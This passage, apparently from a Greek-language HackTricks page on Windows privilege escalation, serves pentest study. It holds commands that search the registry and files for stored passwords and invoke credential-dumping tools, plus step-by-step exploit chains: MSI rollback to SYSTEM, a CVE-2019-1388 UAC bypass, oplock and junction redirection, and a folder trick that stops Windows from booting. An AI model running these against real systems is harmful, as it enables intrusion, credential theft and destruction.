Πρέπει επίσης να ελέγξετε το Bin για να βρείτε credentials μέσα σε αυτό
Για να recover passwords που έχουν αποθηκευτεί από διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: http://www.nirsoft.net/password_recovery_tools.html
Μέσα στο registry
Άλλες πιθανές registry keys με credentials
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Ιστορικό περιηγητών
Πρέπει να ελέγξετε για dbs όπου αποθηκεύονται κωδικοί πρόσβασης από Chrome or Firefox.
Επίσης ελέγξτε το history, bookmarks και favourites των browsers γιατί ίσως κάποιοι κωδικοί πρόσβασης να είναι αποθηκευμένοι εκεί.
Εργαλεία για εξαγωγή κωδικών από browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) είναι μια τεχνολογία ενσωματωμένη στο λειτουργικό σύστημα Windows που επιτρέπει την αλληλεπικοινωνία μεταξύ λογισμικών συστατικών γραμμένων σε διαφορετικές γλώσσες. Κάθε COM component ταυτοποιείται μέσω ενός class ID (CLSID) και κάθε component εκθέτει λειτουργικότητα μέσω μίας ή περισσοτέρων διεπαφών, ταυτοποιημένων μέσω interface IDs (IIDs).
Οι κλάσεις και οι διεπαφές COM ορίζονται στο μητρώο κάτω από HKEY\CLASSES\ROOT\CLSID και HKEY\CLASSES\ROOT\Interface αντίστοιχα. Αυτό το μητρώο δημιουργείται με συγχώνευση των HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Μονονηματικό), Free (Πολυνηματικό), Both (Μονό ή Πολυ) or Neutral (Thread Neutral).
.png)
Βασικά, αν μπορείτε να overwrite any of the DLLs που πρόκειται να εκτελεστούν, θα μπορούσατε να escalate privileges αν εκείνο το DLL εκτελεστεί από διαφορετικό χρήστη.
To learn how attackers use COM Hijacking as a persistence mechanism check:
Generic Password search in files and registry
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Αναζήτηση αρχείου με συγκεκριμένο όνομα
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Αναζήτηση στο registry για key names και passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Εργαλεία που αναζητούν passwords
MSF-Credentials Plugin είναι ένα msf plugin. Έχω δημιουργήσει αυτό το plugin για να εκτελεί αυτόματα κάθε metasploit POST module που αναζητά credentials μέσα στο θύμα.
Winpeas αναζητά αυτόματα όλα τα αρχεία που περιέχουν passwords που αναφέρονται σε αυτή τη σελίδα.
Lazagne είναι ένα ακόμη εξαιρετικό εργαλείο για την εξαγωγή password από ένα σύστημα.
Το εργαλείο SessionGopher αναζητά sessions, usernames και passwords πολλών εργαλείων που αποθηκεύουν αυτά τα δεδομένα σε απλό κείμενο (PuTTY, WinSCP, FileZilla, SuperPuTTY, και RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that μια διεργασία που τρέχει ως SYSTEM ανοίγει μια νέα διεργασία (OpenProcess()) με πλήρη πρόσβαση. The same process also create a new process (CreateProcess()) με χαμηλά προνόμια αλλά κληρονομώντας όλα τα ανοιχτά handles της κύριας διεργασίας.
Then, if you have πλήρη πρόσβαση στη διεργασία με τα χαμηλά προνόμια, you can grab the ανοιχτό handle προς τη διεργασία με υψηλότερα προνόμια που δημιουργήθηκε with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Shared memory segments, referred to as pipes, enable process communication and data transfer.
Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.
When data is sent through a pipe by a client, the server that set up the pipe has the ability to assume the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a process με προνόμια that communicates via a pipe you can mimic provides an opportunity to αποκτήσετε υψηλότερα προνόμια by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found here and here.
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
ClientAttachwithpszDomainUserset to a writable existing path → the service opens it viaCreateFileW(..., OPEN_EXISTING)and uses it for async event writes.- Each event writes the attacker-controlled
InitContextfromInitializeto that handle. Register a line app withLRegisterRequestRecipient(Req_Func 61), triggerTRequestMakeCall(Req_Func 121), fetch viaGetAsyncEvents(Req_Func 0), then unregister/shutdown to repeat deterministic writes. - Add yourself to
[TapiAdministrators]inC:\\Windows\\TAPI\\tsec.ini, reconnect, then callGetUIDllNamewith an arbitrary DLL path to executeTSPI_providerUIIdentifyasNETWORK SERVICE.
More details:
Telephony Tapsrv Arbitrary Dword Write To Rce
Διάφορα
Επεκτάσεις αρχείων που θα μπορούσαν να εκτελέσουν πράγματα στα Windows
Check out the page https://filesec.io/
Παρακολούθηση γραμμών εντολών για κωδικούς
When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. Η παρακάτω script καταγράφει τις γραμμές εντολών διεργασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας οποιεσδήποτε διαφορές.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Αν έχετε πρόσβαση στο γραφικό περιβάλλον (μέσω console ή RDP) και το UAC είναι ενεργοποιημένο, σε μερικές εκδόσεις του Microsoft Windows είναι δυνατό να τρέξετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως “NT\AUTHORITY SYSTEM” από έναν μη προνομιούχο χρήστη.
Αυτό καθιστά δυνατή την αύξηση δικαιωμάτων και την παράκαμψη του UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη να εγκαταστήσετε οτιδήποτε και το binary που χρησιμοποιείται κατά τη διαδικασία είναι υπογεγραμμένο και εκδοθέν από τη Microsoft.
Μερικά από τα επηρεαζόμενα συστήματα είναι τα εξής:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, είναι απαραίτητο να εκτελέσετε τα ακόλουθα βήματα:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Έχετε όλα τα απαραίτητα αρχεία και πληροφορίες στο ακόλουθο αποθετήριο GitHub:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Διαβάστε αυτό για να μάθετε για τα Integrity Levels:
Έπειτα διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις UAC:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
Η τεχνική που περιγράφεται in this blog post με κώδικα exploit available here.
Η επίθεση ουσιαστικά συνίσταται στην κακόβουλη εκμετάλλευση της δυνατότητας rollback του Windows Installer για να αντικατασταθούν νόμιμα αρχεία με κακόβουλα κατά τη διαδικασία απεγκατάστασης. Για αυτό, ο επιτιθέμενος πρέπει να δημιουργήσει έναν malicious MSI installer ο οποίος θα χρησιμοποιηθεί για να καταλάβει το φάκελο C:\Config.Msi, ο οποίος στη συνέχεια θα χρησιμοποιηθεί από τον Windows Installer για να αποθηκεύει rollback αρχεία κατά την απεγκατάσταση άλλων MSI πακέτων, όπου τα rollback αρχεία θα είχαν τροποποιηθεί ώστε να περιέχουν το κακόβουλο payload.
Η συνοπτική τεχνική είναι η ακόλουθη:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Δημιουργήστε ένα
.msiπου εγκαθιστά ένα αβλαβές αρχείο (π.χ.,dummy.txt) σε έναν εγγράψιμο φάκελο (TARGETDIR). -
Επισημάνετε τον installer ως “UAC Compliant”, ώστε ένας non-admin user να μπορεί να τον τρέξει.
-
Κρατήστε έναν handle ανοιχτό στο αρχείο μετά την εγκατάσταση.
-
Step 2: Begin Uninstall
-
Απεγκαταστήστε το ίδιο
.msi. -
Η διαδικασία απεγκατάστασης αρχίζει να μετακινεί αρχεία στο
C:\Config.Msiκαι να τα μετονομάζει σε.rbfαρχεία (backup για rollback). -
Poll the open file handle χρησιμοποιώντας
GetFinalPathNameByHandleγια να εντοπίσετε πότε το αρχείο γίνεταιC:\Config.Msi\<random>.rbf. -
Step 3: Custom Syncing
-
Το
.msiπεριλαμβάνει μια custom uninstall action (SyncOnRbfWritten) που: -
Σηματοδοτεί όταν έχει γραφτεί το
.rbf. -
Στη συνέχεια περιμένει σε ένα άλλο event πριν συνεχίσει την απεγκατάσταση.
-
Step 4: Block Deletion of
.rbf -
Όταν σηματοδοτηθεί, ανοίξτε το
.rbfαρχείο χωρίςFILE_SHARE_DELETE— αυτό εμποδίζει τη διαγραφή του. -
Στη συνέχεια σηματοδοτήστε πίσω ώστε η απεγκατάσταση να τελειώσει.
-
Ο Windows Installer αποτυγχάνει να διαγράψει το
.rbf, και επειδή δεν μπορεί να διαγράψει όλα τα περιεχόμενα, τοC:\Config.Msiδεν αφαιρείται. -
Step 5: Manually Delete
.rbf -
Εσείς (ο επιτιθέμενος) διαγράφετε χειροκίνητα το
.rbfαρχείο. -
Τώρα το
C:\Config.Msiείναι κενό, έτοιμο για hijack.
Σε αυτό το σημείο, trigger the SYSTEM-level arbitrary folder delete vulnerability για να διαγράψετε το
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Αναδημιουργήστε εσείς τον φάκελο
C:\Config.Msi. -
Ορίστε weak DACLs (π.χ., Everyone:F), και κρατήστε έναν handle ανοιχτό με
WRITE_DAC. -
Step 7: Run Another Install
-
Εγκαταστήστε ξανά το
.msi, με: -
TARGETDIR: Εγγράψιμη θέση. -
ERROROUT: Μια μεταβλητή που προκαλεί αναγκαστική αποτυχία. -
Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να ενεργοποιήσει ξανά το rollback, που διαβάζει
.rbsκαι.rbf. -
Step 8: Monitor for
.rbs -
Χρησιμοποιήστε
ReadDirectoryChangesWγια να παρακολουθείτε τοC:\Config.Msiμέχρι να εμφανιστεί νέο.rbs. -
Καταγράψτε το όνομα αρχείου του.
-
Step 9: Sync Before Rollback
-
Το
.msiπεριέχει μια custom install action (SyncBeforeRollback) που: -
Σηματοδοτεί ένα event όταν δημιουργηθεί το
.rbs. -
Στη συνέχεια περιμένει πριν συνεχίσει.
-
Step 10: Reapply Weak ACL
-
Αφού λάβετε το event
.rbs created: -
Ο Windows Installer επαναφέρει ισχυρά ACLs στο
C:\Config.Msi. -
Αλλά επειδή έχετε ακόμα κάποιο handle με
WRITE_DAC, μπορείτε να επαναφέρετε ξανά weak ACLs.
Τα ACL εφαρμόζονται μόνο κατά το άνοιγμα του handle, οπότε μπορείτε ακόμα να γράψετε στον φάκελο.
-
Step 11: Drop Fake
.rbsand.rbf -
Υπεργράψτε το
.rbsαρχείο με ένα fake rollback script που λέει στο Windows να: -
Επαναφέρει το
.rbfσας (malicious DLL) σε μια privileged location (π.χ.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Αποθέσει το fake
.rbfσας που περιέχει ένα κακόβουλο SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Σηματοδοτήστε το sync event ώστε ο installer να επανεκκινήσει.
-
Μια type 19 custom action (
ErrorOut) είναι ρυθμισμένη να αποτύχει σκόπιμα την εγκατάσταση σε ένα γνωστό σημείο. -
Αυτό προκαλεί την έναρξη του rollback.
-
Step 13: SYSTEM Installs Your DLL
-
Ο Windows Installer:
-
Διαβάζει το κακόβουλο
.rbsσας. -
Αντιγράφει το
.rbfDLL σας στην στοχευμένη θέση. -
Τώρα έχετε το κακόβουλο DLL σε μια διαδρομή που φορτώνεται από το SYSTEM.
-
Final Step: Execute SYSTEM Code
-
Τρέξτε ένα έμπιστο auto-elevated binary (π.χ.,
osk.exe) που φορτώνει τη DLL που καταλάβατε. -
Boom: Ο κώδικάς σας εκτελείται ως SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
Η κύρια τεχνική MSI rollback (η προηγούμενη) προϋποθέτει ότι μπορείτε να διαγράψετε έναν ολόκληρο φάκελο (π.χ., C:\Config.Msi). Αλλά τι γίνεται αν η ευπάθεια σας επιτρέπει μόνο arbitrary file deletion;
Μπορείτε να εκμεταλλευτείτε τα εσωτερικά του NTFS: κάθε φάκελος έχει ένα κρυφό alternate data stream που ονομάζεται:
C:\SomeFolder::$INDEX_ALLOCATION
Αυτό το stream αποθηκεύει τα μεταδεδομένα ευρετηρίου του φακέλου.
Έτσι, αν διαγράψετε το ::$INDEX_ALLOCATION stream ενός φακέλου, NTFS αφαιρεί ολόκληρο τον φάκελο από το σύστημα αρχείων.
Μπορείτε να το κάνετε αυτό χρησιμοποιώντας τις τυπικές API διαγραφής αρχείων όπως:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Παρόλο που καλείς ένα file delete API, αυτό deletes the folder itself.
Από Folder Contents Delete σε SYSTEM EoP
Τι γίνεται αν το primitive σου δεν σου επιτρέπει να διαγράψεις αυθαίρετα files/folders, αλλά does allow deletion of the contents of an attacker-controlled folder;
- Step 1: Setup a bait folder and file
- Create:
C:\temp\folder1 - Inside it:
C:\temp\folder1\file1.txt
- Step 2: Τοποθέτησε ένα oplock στο
file1.txt
- Το oplock παγώνει την εκτέλεση όταν μια privileged διαδικασία προσπαθεί να διαγράψει
file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Βήμα 3: Ενεργοποίηση της διαδικασίας SYSTEM (π.χ.,
SilentCleanup)
- Αυτή η διαδικασία σαρώνει φακέλους (π.χ.,
%TEMP%) και προσπαθεί να διαγράψει τα περιεχόμενά τους. - Όταν φτάσει στο
file1.txt, το oplock ενεργοποιείται και παραδίδει τον έλεγχο στο callback σας.
- Βήμα 4: Μέσα στο callback του oplock – ανακατεύθυνση της διαγραφής
-
Επιλογή A: Μετακινήστε το
file1.txtαλλού -
Αυτό αδειάζει τον φάκελο
folder1χωρίς να σπάσει το oplock. -
Μην διαγράψετε απευθείας το
file1.txt— αυτό θα απελευθέρωνε το oplock πρόωρα. -
Επιλογή B: Μετατρέψτε τον φάκελο
folder1σε junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Επιλογή C: Δημιουργήστε ένα symlink στο
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Αυτό στοχεύει το NTFS internal stream που αποθηκεύει τα μεταδεδομένα του φακέλου — διαγράφοντάς το διαγράφεται ο φάκελος.
- Step 5: Απελευθέρωση του oplock
- Η διαδικασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει
file1.txt. - Αλλά τώρα, λόγω του junction + symlink, στην πραγματικότητα διαγράφει:
C:\Config.Msi::$INDEX_ALLOCATION
Αποτέλεσμα: C:\Config.Msi διαγράφεται από SYSTEM.
Από Arbitrary Folder Create σε Permanent DoS
Εκμεταλλευτείτε ένα primitive που σας επιτρέπει να create an arbitrary folder as SYSTEM/admin — ακόμη και αν you can’t write files ή set weak permissions.
Δημιουργήστε ένα folder (not a file) με το όνομα ενός critical Windows driver, π.χ.:
C:\Windows\System32\cng.sys
- Αυτή η διαδρομή συνήθως αντιστοιχεί στον kernel-mode driver
cng.sys. - Αν το προ-δημιουργήσετε ως φάκελο, τα Windows αποτυγχάνουν να φορτώσουν τον πραγματικό driver κατά την εκκίνηση.
- Στη συνέχεια, τα Windows προσπαθούν να φορτώσουν το
cng.sysκατά την εκκίνηση. - Βλέπει το φάκελο, αποτυγχάνει να επιλύσει τον πραγματικό driver, και καταρρέει ή σταματά την εκκίνηση.
- Δεν υπάρχει fallback, και καμία ανάκτηση χωρίς εξωτερική παρέμβαση (π.χ., επιδιόρθωση εκκίνησης ή πρόσβαση σε δίσκο).
Από High Integrity σε System
Νέα υπηρεσία
Αν τρέχετε ήδη σε μια διαδικασία High Integrity, η διαδρομή προς SYSTEM μπορεί να είναι εύκολη απλώς δημιουργώντας και εκτελώντας μια νέα υπηρεσία:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Κατά τη δημιουργία ενός service binary βεβαιωθείτε ότι είναι μια έγκυρη service ή ότι το binary εκτελεί τις απαραίτητες ενέργειες αρκετά γρήγορα, καθώς θα τερματιστεί σε 20s αν δεν είναι έγκυρη service.
AlwaysInstallElevated
Από μια High Integrity διαδικασία μπορείτε να δοκιμάσετε να ενεργοποιήσετε τα AlwaysInstallElevated registry entries και να εγκαταστήσετε ένα reverse shell χρησιμοποιώντας ένα .msi wrapper.
Περισσότερες πληροφορίες για τα registry keys που εμπλέκονται και πώς να εγκαταστήσετε ένα .msi πακέτο εδώ.
High + SeImpersonate privilege to System
Μπορείτε να βρείτε τον κώδικα εδώ.
From SeDebug + SeImpersonate to Full Token privileges
Αν έχετε αυτά τα token privileges (πιθανότατα θα τα βρείτε σε μια ήδη High Integrity διαδικασία), θα μπορείτε να ανοίξετε σχεδόν οποιαδήποτε process (όχι protected processes) με το SeDebug privilege, να αντιγράψετε το token της διαδικασίας, και να δημιουργήσετε μια arbitrary process με εκείνο το token.
Χρησιμοποιώντας αυτή την τεχνική συνήθως επιλέγεται κάποια process που τρέχει ως SYSTEM με όλα τα token privileges (ναι, μπορείτε να βρείτε SYSTEM processes χωρίς όλα τα token privileges).
Μπορείτε να βρείτε ένα παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ.
Named Pipes
Αυτή η τεχνική χρησιμοποιείται από το meterpreter για escalation σε getsystem. Η τεχνική συνίσταται στο δημιουργία ενός pipe και στη συνέχεια στο create/abuse ενός service για να γράψει σε αυτό το pipe. Έπειτα, ο server που δημιούργησε το pipe χρησιμοποιώντας το SeImpersonate privilege θα μπορεί να impersonate το token του pipe client (το service) αποκτώντας SYSTEM privileges.
Αν θέλετε να μάθετε περισσότερα για named pipes πρέπει να διαβάσετε αυτό.
Αν θέλετε να διαβάσετε ένα παράδειγμα του πώς να πάτε από high integrity σε System χρησιμοποιώντας named pipes πρέπει να διαβάσετε αυτό.
Dll Hijacking
Αν καταφέρετε να hijackάρετε μια dll που φορτώνεται από μια process που τρέχει ως SYSTEM θα μπορέσετε να εκτελέσετε arbitrary κώδικα με αυτά τα permissions. Επομένως το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος privilege escalation και, επιπλέον, είναι πολύ πιο εύκολο να επιτευχθεί από μια high integrity process καθώς αυτή θα έχει write permissions στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.
Μπορείτε να μάθετε περισσότερα για το Dll hijacking εδώ.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Διαβάστε: https://github.com/itm4n/FullPowers
Περισσότερη βοήθεια
Χρήσιμα εργαλεία
Καλύτερο εργαλείο για αναζήτηση Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – Ελέγχει για misconfigurations και sensitive files (έλεγχος εδώ). Detected.
JAWS – Ελέγχει για πιθανές misconfigurations και συλλέγει πληροφορίες (έλεγχος εδώ).
privesc – Έλεγχος για misconfigurations
SessionGopher – Εξάγει αποθηκευμένες συνεδρίες PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough σε local.
Invoke-WCMDump – Εξάγει credentials από το Credential Manager. Detected.
DomainPasswordSpray – Spray των συλλεχθέντων passwords στο domain
Inveigh – PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer και man-in-the-middle εργαλείο.
WindowsEnum – Βασική Windows privesc enumerationSherlock ~~~~ – Αναζήτηση για γνωστά privesc vulnerabilities (DEPRECATED για Watson)WINspect – Τοπικοί έλεγχοι (Χρειάζεται Admin rights)
Exe
Watson – Αναζητά γνωστά privesc vulnerabilities (πρέπει να compiled με VisualStudio) (precompiled)
SeatBelt – Εντοπίζει στο host πιθανές misconfigurations (περισσότερο εργαλείο συλλογής πληροφοριών παρά privesc) (πρέπει να compiled) (precompiled)
LaZagne – Εξάγει credentials από πολλά προγράμματα (precompiled exe στο github)
SharpUP – Port του PowerUp σε C#Beroot ~~~~ – Έλεγχος για misconfiguration (εκτελέσιμο precompiled στο github). Δεν προτείνεται. Δεν δουλεύει καλά σε Win10.Windows-Privesc-Check – Έλεγχος για πιθανές misconfigurations (exe από python). Δεν προτείνεται. Δεν δουλεύει καλά σε Win10.
Bat
winPEASbat – Εργαλείο δημιουργημένο με βάση αυτή τη δημοσίευση (δεν χρειάζεται accesschk για να δουλέψει σωστά αλλά μπορεί να το χρησιμοποιήσει).
Local
Windows-Exploit-Suggester – Διαβάζει την έξοδο του systeminfo και προτείνει εργασιμα exploits (local python)
Windows Exploit Suggester Next Generation – Διαβάζει την έξοδο του systeminfo και προτείνει εργασιμα exploits (local python)
Meterpreter
multi/recon/local_exploit_suggestor
Πρέπει να compile το project χρησιμοποιώντας τη σωστή έκδοση του .NET (δείτε αυτό). Για να δείτε την εγκατεστημένη έκδοση του .NET στον host-θύμα μπορείτε να κάνετε:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Αναφορές
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


